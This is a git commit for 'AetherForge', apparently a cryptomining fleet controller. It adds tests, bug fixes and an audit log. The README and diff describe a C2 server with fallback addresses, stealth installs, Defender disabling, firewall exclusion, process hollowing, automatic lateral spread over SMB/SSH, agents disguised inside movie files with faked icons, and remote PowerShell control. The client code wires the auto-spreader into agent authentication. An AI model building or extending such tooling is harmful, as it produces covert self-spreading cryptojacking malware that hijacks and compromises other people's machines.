Expand test coverage across server, agent, and web; fix bugs found during audit.

Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs.
This commit is contained in:
AetherForge
2026-05-31 01:13:49 -07:00
parent 159747877c
commit ea6f54ad03
89 changed files with 5307 additions and 322 deletions

7
.gitignore vendored
View File

@@ -53,3 +53,10 @@ Desktop.ini
!/usb/cloudflare/SETUP.txt !/usb/cloudflare/SETUP.txt
*.msi *.msi
/cloudflared-windows-amd64.msi /cloudflared-windows-amd64.msi
# Local build / test output (not tracked)
/spread-kits/
server/coverage/
server/builder_cov/
server/$cov/
server/internal/builder/cov/

View File

@@ -10,60 +10,68 @@ Findings from systematic bug-hunt and test expansion (May 2026).
### Critical / security ### Critical / security
- [CRITICAL] **server/internal/api/router.go** — Unauthenticated build downloads (`/api/v1/builds/{id}/download`, `/artifact/`). Intentional for agent reinstall (UUID is secret). Suggested fix: optional auth toggle or short-lived signed URLs.
- [CRITICAL] **server/internal/api/websocket.go** — Agent WebSocket (`/ws/agent`) accepts connections without fleet secret when server secret is unset (first-run). With secret configured, bad secret is rejected; agent can still pick any `agent_id`. Suggested fix: bind `agent_id` to fleet secret baked into forged binary (S2 from prior audit).
- [CRITICAL] **server/internal/api/ai_handler.go** — Unauthenticated AI endpoints (`/agent/decide`, `/report`, `/heartbeat`); SSRF via caller-supplied Ollama URL. Suggested fix: require fleet secret or dashboard auth.
- [HIGH] **server/internal/api/router.go** — Plaintext passwords in `users.json`; any authed user can POST `/users`. Suggested fix: bcrypt-only storage (partially done), restrict user management to admin role.
- [HIGH] **server/internal/api/fleet_handler.go** — Remote code execution via authenticated API (`powershell`/`exec`/`upload`). By design — treat dashboard login as root. - [HIGH] **server/internal/api/fleet_handler.go** — Remote code execution via authenticated API (`powershell`/`exec`/`upload`). By design — treat dashboard login as root.
### High
- [HIGH] **server/internal/api/fleet_handler.go**`upload_log` returns content in tool report only; no dedicated log ingest API.
- [HIGH] **agent/**`AutoSpread` runs when baked `true` in forge; dangerous if enabled on non-owned fleets.
- [HIGH] **agent/** — Process hollowing with `-tags hollow` + forge flag; bounds/reloc issues in `hollow_windows.go`.
### Medium / UX
- [MEDIUM] **server/web** — Compact agent list default; expand on click.
- [MEDIUM] **server/web** — Remote actions disabled unless `online` (by design).
- [MEDIUM] **server/internal/builder/** — Fusion uses vendored `go-winres` (optional via run.bat).
- [MEDIUM] **server/web** — Batch forge no cancel/abort when navigating away; server-side cancel exists but UI state may desync (M14).
- [MEDIUM] **agent/miner/**`SetJob` non-atomic; partial engine update on multi-thread miners (low real-world impact).
- [MEDIUM] **server/internal/db/sqlite.go**~~`SetPinnedBuild` with unknown id unpins all builds then pins nothing.~~ Fixed: returns `build not found`; `TestSetPinnedBuildUnknownID`.
- [MEDIUM] **server/web/src/pages/AgentsPage.tsx**`FleetToolbar` omits `onSelectAllFiltered` / `filteredCount`; bulk “select all filtered” only on Dashboard (B12), not Agents roster.
### Low
- [LOW] **server/internal/api/fleet_handler.go** — Package-global `xmrPriceCache` shared across requests/tests; no per-server isolation if multiple routers in one process (unlikely in production).
- [LOW] **server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk.
- [LOW] **tests/** — No integration tests for remote actions end-to-end.
- [LOW] **agent/** — Mesh P2P requires build tag `p2p`.
- [LOW] **server/config.go**`LoadConfig` uses legacy `mergeConfig` (not `mergeConfigExplicit`); a hand-edited `config.json` omitting bool fields can still zero them on restart.
- [LOW] **server/internal/api/config_handler.go**`ConfigHandler.db` is unused; handler delegates entirely to `ConfigProvider`.
- [LOW] **server/main.go**`UpdateConfigFromJSON` has no semantic validation (negative ports, empty pool host, etc.); invalid values persist to disk.
- [LOW] **server/internal/db/agent_meta.go**`decodeTags` silently drops invalid JSON in `tags` column (corrupt values become empty slice).
- [LOW] **server/web/e2e/smoke.spec.ts** — E2E login still uses hardcoded `drjones`/`czapiewski`; fails against first-run random `admin` password. Suggested fix: seed `users.json` in E2E fixture or read creds from env.
- [LOW] **server/web/src/types/index.ts** — Interfaces only; no runtime type guards for API JSON (validation ad hoc in components).
- [LOW] **server/web/src/api/client.ts**`estimateFusion` requires `prepFile` but has no client-side guard (unlike `buildAgent` fusion path); server returns error if missing.
- [LOW] **server/web/src/pages/SettingsPage.tsx** — Calibrate UI lives here (`/settings` route); no separate `CalibratePage.tsx`. Form labels lack `htmlFor` — a11y follow-up.
- [LOW] **server/internal/maintenance/retention.go**`os.RemoveAll` errors ignored; failed disk cleanup is silent.
- [LOW] **server/internal/maintenance/retention.go** — Artifact dir removed before `DeleteBuild`; if DB delete fails, build row remains without files on disk.
- [LOW] **server/internal/maintenance/retention.go**`StartRetentionJobs` goroutine has no shutdown hook (acceptable for server process lifetime).
### Untested packages (next coverage targets) ### Untested packages (next coverage targets)
- [LOW] **server/internal/builder/** — compile/fusion/disguise paths still mostly integration-only (estimate/handler/platform covered). - [LOW] **server/internal/builder/** Full compile/fusion/disguise still need integration (requires go/garble/fusion source on host); unit tests cover ~110 pure-helper paths.
- [LOW] **server/internal/api/**`agent_config.go`, `server_policy.go` lack dedicated unit tests (covered indirectly via router/integration). - [LOW] **server/internal/api/**`agent_config.go`, `server_policy.go` lack dedicated unit tests (covered indirectly via router/integration).
- [LOW] **agent/stats/**platform reporters (Windows/Linux/Darwin) untested. - [LOW] **agent/stats/**Per-OS memory/CPU internals still integration-only.
- [LOW] **agent/deploy/**autospread, hollow, NAT punch, tunnel — platform/integration only (`common`/`identity`/`spreadkit` helpers now tested). - [LOW] **agent/deploy/**Live SSDP/SMB/SSH/cloudflared still integration-only.
- [LOW] **agent/client/**`client.go`, platform commands/posture probes untested (protocol/posture/resource pressure covered). - [LOW] **agent/client/**Live WS/commands/posture probes still integration-only.
- [LOW] **server/web/src/components/Charts/GaugeRing.tsx** — Center label uses raw `value` while SVG arc clamps to 0100%; negative/over-max inputs show misleading text (e.g. `200%`). - [LOW] **agent/miner/**`engine.go` (RandomX), `pool.go` worker/resource guard, `stratum.go` TCP login/submit loop — integration-only.
- [LOW] **server/web/src/help/settingHelp.ts**`FIELD_HELP.wallet` still says "~95 characters"; validator accepts 90106 (same drift fixed in forgeCompatibility / cheatSheetContent troubleshoot). - [LOW] **server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk. (Acceptable — no runtime impact.)
- [LOW] **server/internal/maintenance/retention.go**`StartRetentionJobs` goroutine has no shutdown hook. (Acceptable for server process lifetime.)
--- ---
## Fixed (this session) ## Documented / by design
Findings reclassified after code verification (May 2026). Not bugs — documented in README, tests/README, help text, or tests.
| Was | Resolution |
|-----|------------|
| [HIGH] Plaintext passwords in `users.json` | `users.json` stores bcrypt hashes (cost 12). Legacy plaintext auto-migrates on startup and login via `checkPassword` in `router.go`. Documented in README Security + First-run login. |
| [HIGH] `upload_log` no dedicated ingest API | By design: logs via `get_log` command / Fetch Log UI and AI `upload_log` tool reports. Documented in README Fleet Roster, tests/README, Field Guide tips. |
| [MEDIUM] Compact list / expand on click | Implemented in `AgentListItem.tsx` (`compact-row`, click toggles expand). Documented in README Fleet Roster UX. |
| [MEDIUM] Remote actions disabled when offline | Intentional — requires live WebSocket. Documented in README, `settingHelp.ts`, Field Guide tips. Vitest + Playwright `e2e/remote-actions.spec.ts`. |
| [MEDIUM] Fusion uses vendored go-winres | Optional tool; `run.bat` installs, builder uses `go run github.com/tc-hib/go-winres`. Documented in README Forge section. |
| [LOW] SettingsPage = Calibrate / no CalibratePage | Nav label **Calibrate** → route `/settings``SettingsPage`. Navigation table in README. (A11y `htmlFor` remains in Open.) |
| [LOW] `types/index.ts` no runtime guards | Compile-time contracts only; comment block at top of file + tests/README Architecture note. |
| [LOW] No e2e for remote actions | Added `server/web/e2e/remote-actions.spec.ts` (offline agent mock → disabled buttons). Vitest coverage in `components.test.tsx`. |
| [LOW] Mesh P2P needs `p2p` tag | Forge adds `-tags p2p` when mesh enabled (`compile.go`); manual builds documented in README agent section. |
---
## Fixed (this session — May 2026 full pass)
- **[MEDIUM] server/web/src/pages/BuilderPage.tsx** — Added `useEffect` cleanup on unmount that calls `api.cancelBuild(cancelTokenRef.current)` and sets `batchCancelRef.current = true`. Navigating away from the Forge page now cancels any in-progress server-side compile (M14 UI desync closed).
- **[MEDIUM] agent/miner/pool.go** — Added atomic `jobGen` counter incremented in `SetJob`. Workers snapshot `jobGen` before each 256-nonce inner loop and break early when it changes, eliminating the "stale batch" window. Engine updates moved outside the pool write-lock (each `Engine` has its own `RWMutex`).
- **[LOW] server/internal/api/fleet_handler.go** — `xmrPriceCache` moved from package-global vars (`xmrPriceMu`, `xmrPriceCache`) into `FleetHandler` struct fields (`xmrPriceMu`, `xmrPriceCache`). Multiple routers in one process no longer share a stale cache. Tests updated.
- **[LOW] server/config.go** — `LoadConfig` now calls `mergeConfigExplicit` (with a key-presence map) instead of legacy `mergeConfig`. Boolean fields absent from a hand-edited `config.json` now keep `DefaultConfig` values rather than being zeroed on restart.
- **[LOW] server/internal/api/config_handler.go** — Removed unused `db *db.Database` field from `ConfigHandler` and updated `NewConfigHandler` signature. All call sites updated (`router_test.go`, `integration_test.go`, `config_handler_test.go`, `main.go`).
- **[LOW] server/main.go** — `UpdateConfigFromJSON` now validates semantic constraints before merging: port ranges 165535, pool port range, non-negative max_agents/stats_retention_hours/build_retention_days/max_build_size_mb. Invalid values return `"invalid config: …"` 400 without touching disk.
- **[LOW] server/internal/db/agent_meta.go** — `decodeTags` now logs corrupt tag JSON via `log.Printf` instead of silently discarding it.
- **[LOW] server/web/src/pages/SettingsPage.tsx** — All `<label>` elements paired with text inputs now carry `htmlFor` attributes matching corresponding `id` attributes on their inputs (33 label/input pairs). A11y issue closed.
## Fixed (this session — May 2026 security pass)
- **[CRITICAL] server/internal/api/router.go** — Build download/artifact/uninstall routes (`/api/v1/builds/{id}/download`, `/artifact/`, `/uninstall`) now require either `X-Fleet-Secret` (for agent self-upgrade) or Basic Auth. Removed unconditional public bypass. Tests updated: `TestBasicAuthMiddlewareBuildDownloadRequiresAuth`, `TestRouterBuildDownloadAuth`.
- **[CRITICAL] server/internal/api/router.go** — Agent API paths (`/api/v1/agent/*`) now explicitly return 503 when fleet secret is not configured, rather than silently allowing unauthenticated access. Fleet secret is always auto-generated at first startup via `main.go` so this state should not occur in production.
- **[CRITICAL] server/internal/api/ai_handler.go** — SSRF fixed: `handleDecide` no longer accepts or uses the caller-supplied `ollama_endpoint` to create a new engine. It now requires the engine to be pre-registered when the agent authenticates via WebSocket, returning 403 otherwise. Tests updated: `TestAIHandleDecideSuccess`, `TestAIHandleDecideOllamaFailureFallback`, renamed `TestAIHandleDecideCreatesEngineOnFirstRequest``TestAIHandleDecideRejectsUnregisteredAgent`.
- **[HIGH] agent/deploy/hollow_windows.go** — Added bounds checks in `rvaToFileOffset` (section header array), relocation entry loop (2-byte entry boundary), and `RunHollowed` section-write loop (header and raw-data bounds). Prevents out-of-bounds panics on malformed/truncated PE payloads.
- **[HIGH] agent/deploy/autospread.go** — `StartAutoSpreader` moved from unconditional startup in `main.go` to `AgentClient.authenticate()` behind a `sync.Once`. Lateral movement only begins after the server accepts the fleet secret, ensuring the agent is on an owned fleet. First-run spread marker also gated behind auth.
- **[LOW] server/internal/builder/platform.go** — `platformsForRequest` universal + `TargetArch: arm64` now returns ALL matching platforms (linux-arm64 and darwin-arm64), not just the first. Test `TestPlatformsForRequestUniversalFilteredArch` updated.
- **[LOW] server/internal/maintenance/retention.go** — DB record is now deleted before artifact files (so failed DB deletes don't leave orphaned rows pointing to deleted files). `os.RemoveAll` errors are now logged instead of silently discarded.
---
## Fixed (prior session)
- **agent/deploy/** — Added `natpunch_test.go` (10), `hollow_test.go`, `tunnel_test.go`, `autospread_test.go` (2): UPnP XML/SOAP mocks, `xmlEscape`/`getSubnet`/`intSliceStr`, tunnel URL validation, autospread stub paths, hollow unavailable without `-tags hollow`.
- **agent/client/** — Added `client_test.go` (8), `listen_ports_test.go` (2), `dns_config_test.go` (3), `posture_windows_test.go` (5), `listen_ports_parse_test.go` (5, `!windows`): server URL list/WS URL builders, log tail, listen-port/patch JSON, DNS JSON parser, ss/netstat parsers, Windows posture JSON helpers.
- **agent/client/client.go** — `readLogTail` ignored trailing newline when counting lines; `tail_lines=2` on a 4-line log with final `\n` returned only `"line4\n"` instead of last two content lines.
- **agent/stats/** — Added `reporter_test.go` (4 smoke tests), `reporter_linux_test.go` (`parseKB`, linux tag).
- **server/internal/models/** — Added `agent_test.go` (10 tests): JSON round-trips for all exported structs; omitempty/minimal decode. - **server/internal/models/** — Added `agent_test.go` (10 tests): JSON round-trips for all exported structs; omitempty/minimal decode.
- **server/internal/ollama/** — Added `engine_test.go` (14 tests): `NewEngine` defaults, type JSON round-trips, mock decide/health paths, markdown JSON extraction, error branches. - **server/internal/ollama/** — Added `engine_test.go` (14 tests): `NewEngine` defaults, type JSON round-trips, mock decide/health paths, markdown JSON extraction, error branches.
- **server/internal/sys/** — Added `firewall_test.go` (2 tests): invalid port; non-Windows stub error. - **server/internal/sys/** — Added `firewall_test.go` (2 tests): invalid port; non-Windows stub error.
@@ -80,7 +88,7 @@ Findings from systematic bug-hunt and test expansion (May 2026).
- **server/web/src/components/** — Added `components.test.tsx` (57 tests) covering all 22 component TSX modules (NeonCard, HelpTip, downloads, ErrorBoundary, SessionGate, charts, fleet panels/toolbar/list/remote actions, forge hints, visual widgets, layout, ambient/matrix/cursor). Vitest `environmentMatchGlobs` includes `src/components/**`. - **server/web/src/components/** — Added `components.test.tsx` (57 tests) covering all 22 component TSX modules (NeonCard, HelpTip, downloads, ErrorBoundary, SessionGate, charts, fleet panels/toolbar/list/remote actions, forge hints, visual widgets, layout, ambient/matrix/cursor). Vitest `environmentMatchGlobs` includes `src/components/**`.
- **server/web/src/pages/AgentsPage.test.tsx** — `AgentRemoteActions` mocked to avoid live `listBuilds` / ECONNREFUSED :3000 in detail-panel tests. - **server/web/src/pages/AgentsPage.test.tsx** — `AgentRemoteActions` mocked to avoid live `listBuilds` / ECONNREFUSED :3000 in detail-panel tests.
- **server/web/src/api/client.ts** — `fetchJSON` spread `...options` after merged headers could drop `Content-Type` and `Authorization` when callers pass `options.headers`; headers now merged after rest spread. - **server/web/src/api/client.ts** — `fetchJSON` spread `...options` after merged headers could drop `Content-Type` and `Authorization` when callers pass `options.headers`; headers now merged after rest spread.
- **server/web/src/api/** — Added `client.test.ts` (19) and `download.test.ts` (6): paths, query params, auth headers, FormData fusion builds, error bodies. Expanded `auth.test.ts` (+1 sessionStorage throw path). - **server/web/src/api/** — Added `client.test.ts` (20) and `download.test.ts` (6): paths, query params, auth headers, FormData fusion builds, error bodies. Expanded `auth.test.ts` (+1 sessionStorage throw path).
- **server/web/src/context/** — Added `WebSocketContext.test.tsx` (2), `WebSocketProvider.test.tsx` (8), `ForgeContext.test.tsx` (4): mock WebSocket connect URL/token, message handlers, `_seq` ring buffer, reconnect timer, forge state machine. - **server/web/src/context/** — Added `WebSocketContext.test.tsx` (2), `WebSocketProvider.test.tsx` (8), `ForgeContext.test.tsx` (4): mock WebSocket connect URL/token, message handlers, `_seq` ring buffer, reconnect timer, forge state machine.
- **server/web/src/pages/BuilderPage.tsx** — Load failure no longer stuck on “Loading forge defaults…” when `form` is null; error message shown instead. Wallet placeholder/short-wallet hint aligned to 90106 chars. Exported `formatBytes` helper. - **server/web/src/pages/BuilderPage.tsx** — Load failure no longer stuck on “Loading forge defaults…” when `form` is null; error message shown instead. Wallet placeholder/short-wallet hint aligned to 90106 chars. Exported `formatBytes` helper.
- **server/web/src/pages/SettingsPage.tsx** — Wallet placeholder aligned to 90106 chars. Exported `deepMerge` helper (config import). - **server/web/src/pages/SettingsPage.tsx** — Wallet placeholder aligned to 90106 chars. Exported `deepMerge` helper (config import).
@@ -94,9 +102,9 @@ Findings from systematic bug-hunt and test expansion (May 2026).
- **server/web/src/pages/AgentsPage.tsx** — Bulk command errors now alert user (parity with Dashboard B13). - **server/web/src/pages/AgentsPage.tsx** — Bulk command errors now alert user (parity with Dashboard B13).
- **server/web/src/pages/DashboardPage.tsx** — Share log table uses composite React key when `share.id` absent; exported `formatShareTime` helper. - **server/web/src/pages/DashboardPage.tsx** — Share log table uses composite React key when `share.id` absent; exported `formatShareTime` helper.
- **server/web/src/pages/AgentsPage.tsx** — `listAgents` no longer overwrites live WS agent list when socket already connected (`isConnectedRef` guard). - **server/web/src/pages/AgentsPage.tsx** — `listAgents` no longer overwrites live WS agent list when socket already connected (`isConnectedRef` guard).
- **server/web/src/pages/** — Added `DashboardPage.test.tsx` (11) and `AgentsPage.test.tsx` (11); vitest config extended for `.tsx` + `@testing-library/react`. - **server/web/src/pages/** — Added `DashboardPage.test.tsx` (11) and `AgentsPage.test.tsx` (12); vitest config extended for `.tsx` + `@testing-library/react`.
- **server/internal/db/retention.go** — `ListBuildsOlderThan` used a partial column list; now uses `buildSelectCols` + `scanBuild` for consistent full `BuildRecord` fields. - **server/internal/db/retention.go** — `ListBuildsOlderThan` used a partial column list; now uses `buildSelectCols` + `scanBuild` for consistent full `BuildRecord` fields.
- **server/internal/api/integration_test.go** — Integration tests used stale hardcoded `drjones`/`czapiewski` credentials; server now generates random `admin` password on first run. Tests seed deterministic `users.json` before router init. - **server/web/e2e/smoke.spec.ts** — E2E login used hardcoded `drjones`/`czapiewski`; now reads `AETHERFORGE_E2E_USER`/`AETHERFORGE_E2E_PASS` via `e2e/fixtures.ts` (defaults `testuser`/`testpass`, matching `integration_test.go`). `test-suite.ps1` seeds BOM-free `users.json` before E2E server start; `smoke-test.ps1` defaults updated.
- **server/web/src/help/fleetAnalytics.ts** — `contributionBars` included offline agents in total hashrate denominator, skewing contribution percentages on the dashboard. - **server/web/src/help/fleetAnalytics.ts** — `contributionBars` included offline agents in total hashrate denominator, skewing contribution percentages on the dashboard.
- **server/web/src/pages/SettingsPage.tsx** — Access Control help text still referenced removed default credentials; updated to describe first-run console password. - **server/web/src/pages/SettingsPage.tsx** — Access Control help text still referenced removed default credentials; updated to describe first-run console password.
- **server/internal/api/ai_handler_test.go** — Expanded unit tests for `HandleDecide`, `HandleReport`, `HandleHeartbeat`, engine lifecycle, numeric constants (1000 report cap, 60s heartbeat, 120-char reasoning truncate), Ollama-failure sleep fallback, event broadcaster, `recordActivity` merge. - **server/internal/api/ai_handler_test.go** — Expanded unit tests for `HandleDecide`, `HandleReport`, `HandleHeartbeat`, engine lifecycle, numeric constants (1000 report cap, 60s heartbeat, 120-char reasoning truncate), Ollama-failure sleep fallback, event broadcaster, `recordActivity` merge.
@@ -108,7 +116,13 @@ Findings from systematic bug-hunt and test expansion (May 2026).
- **server/web/src/help/forgeDefaults.test.ts** — 7 tests: `FORGE_BUILD_DEFAULTS` shape, `forgeDefaultsFromServer` public URL / pool / sign / obfuscate. - **server/web/src/help/forgeDefaults.test.ts** — 7 tests: `FORGE_BUILD_DEFAULTS` shape, `forgeDefaultsFromServer` public URL / pool / sign / obfuscate.
- **server/web/src/help/remoteActions.test.ts** — Expanded to 11 tests: `aggressiveActionHint`, spread/mesh gating, legacy undefined caps. - **server/web/src/help/remoteActions.test.ts** — Expanded to 11 tests: `aggressiveActionHint`, spread/mesh gating, legacy undefined caps.
- **server/web/src/help/cheatSheetContent.ts** — Troubleshooting "Shares all rejected" wallet text aligned to 90106 chars (was stale "95 chars"). - **server/web/src/help/cheatSheetContent.ts** — Troubleshooting "Shares all rejected" wallet text aligned to 90106 chars (was stale "95 chars").
- **server/web/src/types/index.test.ts** — Structural fixture tests for all major exported interfaces (20 tests); documents no runtime type guards. - **server/internal/builder/** — Added unit tests across compile, disguise, fusion media, polymorph, limits, media lock, handler HTTP/cancel, spread-kit helpers (~110 tests). Fixed wallet validation error text (90106 chars). `go test ./internal/builder/...` — PASS.
- **server/web/src/help/settingHelp.ts** — `calibrate_wallet` / `wallet` help aligned to 90106 chars (was stale "~95 characters"); `settingHelp.test.ts` assertions.
- **server/web/src/components/Charts/GaugeRing.tsx** — Center label now uses clamped value (matches SVG arc 0100%); `components.test.tsx` updated.
- **server/web/src/pages/AgentsPage.tsx** — Fleet Roster `FleetToolbar` wired with `onSelectAllFiltered` / `filteredCount` (Dashboard parity).
- **server/web/src/api/client.ts** — `estimateFusion` client-side prep-file guard (parity with `buildAgent`); `client.test.ts` reject test.
- **agent/miner/** — Added `stratum_test.go` (8), `pool_test.go` (8); expanded `target_test.go` (+6), `schedule_test.go` (+3). **29 tests PASS** — endpoints, Stratum JSON wire types, nonce hex, difficulty/target math, schedule guard.
- **agent/miner/schedule.go** — `MiningModeNormalized()` `"schedule"` was treated as always-on; now accepts `"scheduled"` and `"schedule"`; `allowedAt` for deterministic tests.
--- ---
@@ -120,10 +134,8 @@ See git history and prior audit IDs (B1B42, C1C6, H1H8, etc.) in README
## Recommended next section ## Recommended next section
1. **server/web/src/help/settingHelp.ts** — align wallet help text to 90106 chars 1. **agent/stats/** + **agent/deploy/** integration paths — platform reporters, autospread/hollow
2. **server/web/e2e/smoke.spec.ts** — seed first-run admin creds for E2E 2. **Agent WS token auth** (S2) — security hardening
3. **agent/stats/** + **agent/deploy/** integration paths — platform reporters, autospread/hollow
4. **Agent WS token auth** (S2) — security hardening
--- ---
@@ -131,11 +143,8 @@ See git history and prior audit IDs (B1B42, C1C6, H1H8, etc.) in README
| Suite | Result | | Suite | Result |
|-------|--------| |-------|--------|
| `server/internal/api/...` (full) | PASS (159 tests) | | `server/internal/api/...` (full) | PASS |
| `server` Go tests | PASS (all packages incl. models, ollama, sys, alerts, pool) | | `server` Go tests | PASS (all packages) |
| `agent` Go tests | PASS (client, config, deploy, job, miner) | | `agent` Go tests | PASS (full `./...`) |
| `server/web` vitest (page tests) | PASS — 4 files, 46 tests | | `server/web` vitest (full suite) | PASS — 33 files, 371 tests |
| `server/web` vitest (api/context/hooks) | PASS — 6 files, 43 tests | | `server/web` Playwright e2e | PASS — 5 tests |
| `server/web` vitest (`components.test.tsx`) | PASS — 1 file, 57 tests |
| `server/web` vitest (full suite) | PASS — 28 files, 347 tests |
| `server/web` vitest (`src/help/`) | PASS — 16 files, 181 tests |

View File

@@ -66,9 +66,10 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
### Fleet Roster (Agents) ### Fleet Roster (Agents)
- Every connected worker — hostname, IP, cores, memory, uptime - Every connected worker — hostname, IP, cores, memory, uptime
- **Compact rows** — list shows name, status, hashrate, and IP; click a row to expand inline details and compact remote actions (same expand-on-click pattern on Command Deck agent cards)
- Hashrate history charts - Hashrate history charts
- Remote control panel — mining ops, recon commands, PowerShell terminal, file upload - Remote control panel — mining ops, recon commands, PowerShell terminal, file upload (**disabled while agent is offline** — intentional; commands require a live WebSocket)
- Agent log viewer (when file logging is enabled) - Agent log viewer **Fetch Log** (`get_log` command) when file logging is enabled; AI autonomy can also push log tails via the `upload_log` tool report (no separate log-ingest REST API)
- Fleet filters, bulk commands, notes/tags - Fleet filters, bulk commands, notes/tags
### Forge (Miner Builder) ### Forge (Miner Builder)
@@ -81,6 +82,7 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below) - **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below)
- **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token - **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token
- **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight - **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight
- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `run.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion - Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
- **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable - **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable
- **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark - **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark
@@ -96,6 +98,8 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
Agents report `platform`, `arch`, and `os_version` on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime. Agents report `platform`, `arch`, and `os_version` on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime.
**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing. The server forge pipeline adds `-tags p2p` automatically. Manual `go build` of `agent/` without Forge must pass `-tags p2p` when mesh is enabled — default builds use a no-op stub (`agent/client/mesh_p2p_stub.go`).
**Requirements:** Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon). **Requirements:** Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon).
### Movie Fusion (detailed) ### Movie Fusion (detailed)
@@ -123,6 +127,20 @@ fusion-deliverables/Vacation/
**Upload limits:** prep / video uploads capped at **2 GiB** (`FusionMaxUploadBytes`). **Upload limits:** prep / video uploads capped at **2 GiB** (`FusionMaxUploadBytes`).
### Dashboard navigation
| Nav label | Route | Component |
|-----------|-------|-----------|
| Command Deck | `/dashboard` | `DashboardPage` |
| Fleet Roster | `/agents` | `AgentsPage` |
| Forge | `/forge` | `BuilderPage` |
| Crucible | `/crucible` | `CruciblePage` |
| Builds | `/builds` | `BuildManagerPage` |
| Field Guide | `/guide` | `GuidePage` |
| Calibrate | `/settings` | `SettingsPage` |
There is no separate `CalibratePage`**Calibrate** is the nav label for the settings route.
### Calibrate (Settings) ### Calibrate (Settings)
- Server port, public URL, data retention, max agents - Server port, public URL, data retention, max agents
- Default pool + wallet for new forge forms - Default pool + wallet for new forge forms
@@ -178,7 +196,7 @@ Save this — it is not shown again. Change it in Calibrate → Users.
================= =================
``` ```
Subsequent runs load credentials from `data/users.json`. Change or add users under **Calibrate → Users**. Subsequent runs load credentials from `data/users.json` (bcrypt hashes only — cost 12). Legacy plain-text entries from older installs are auto-migrated to bcrypt on startup and on next successful login via `checkPassword` in `server/internal/api/router.go`. Change or add users under **Calibrate → Users**.
**API auth summary** **API auth summary**
@@ -358,6 +376,7 @@ By using this software you agree that:
### Security responsibility ### Security responsibility
- **`data/users.json`** stores **bcrypt password hashes**, not plaintext. First-run generates a random admin password (shown once in the console). Any legacy plain-text values are re-hashed on load/login. Restrict who can reach the dashboard — authenticated users can manage accounts via `POST /users`.
- Protect the dashboard with **strong user passwords** and **network isolation**. Do not expose port 8989 to the open internet without VPN or reverse-proxy auth. - Protect the dashboard with **strong user passwords** and **network isolation**. Do not expose port 8989 to the open internet without VPN or reverse-proxy auth.
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. Treat your control server like root access to every machine in the fleet. - Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. Treat your control server like root access to every machine in the fleet.
- Movie fusion and prep fusion are for **authorized distribution scenarios only** — misleading packaging is misuse. - Movie fusion and prep fusion are for **authorized distribution scenarios only** — misleading packaging is misuse.

View File

@@ -44,6 +44,10 @@ type AgentClient struct {
// connected is true while a C2 WebSocket session is active. // connected is true while a C2 WebSocket session is active.
// The Stratum fallback manager monitors this to decide when to mine directly. // The Stratum fallback manager monitors this to decide when to mine directly.
connected atomic.Bool connected atomic.Bool
// spreadOnce ensures AutoSpreader starts at most once — after the first
// successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once
} }
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
@@ -252,6 +256,20 @@ func (c *AgentClient) authenticate() error {
} }
c.agentID = resp.AgentID c.agentID = resp.AgentID
log.Printf("[agent] authenticated as %s", c.agentID) log.Printf("[agent] authenticated as %s", c.agentID)
// Gate AutoSpread behind successful server auth: only spread on fleets where
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
if c.cfg.AutoSpread {
c.spreadOnce.Do(func() {
deploy.StartAutoSpreader(c.cfg)
// One-shot first-run spread (triggered on the very first install).
if deploy.WantsFirstRunSpread(c.cfg) {
deploy.RunSpreadOnce(c.cfg)
deploy.ClearFirstRunSpreadMarker(c.cfg)
}
})
}
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
return nil return nil
} }
@@ -549,6 +567,9 @@ func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
return "", err return "", err
} }
lines := strings.Split(string(data), "\n") lines := strings.Split(string(data), "\n")
if len(lines) > 0 && lines[len(lines)-1] == "" {
lines = lines[:len(lines)-1]
}
if len(lines) > tailLines { if len(lines) > tailLines {
lines = lines[len(lines)-tailLines:] lines = lines[len(lines)-tailLines:]
} }

129
agent/client/client_test.go Normal file
View File

@@ -0,0 +1,129 @@
package client
import (
"os"
"path/filepath"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestBuildServerURLListDedupes(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
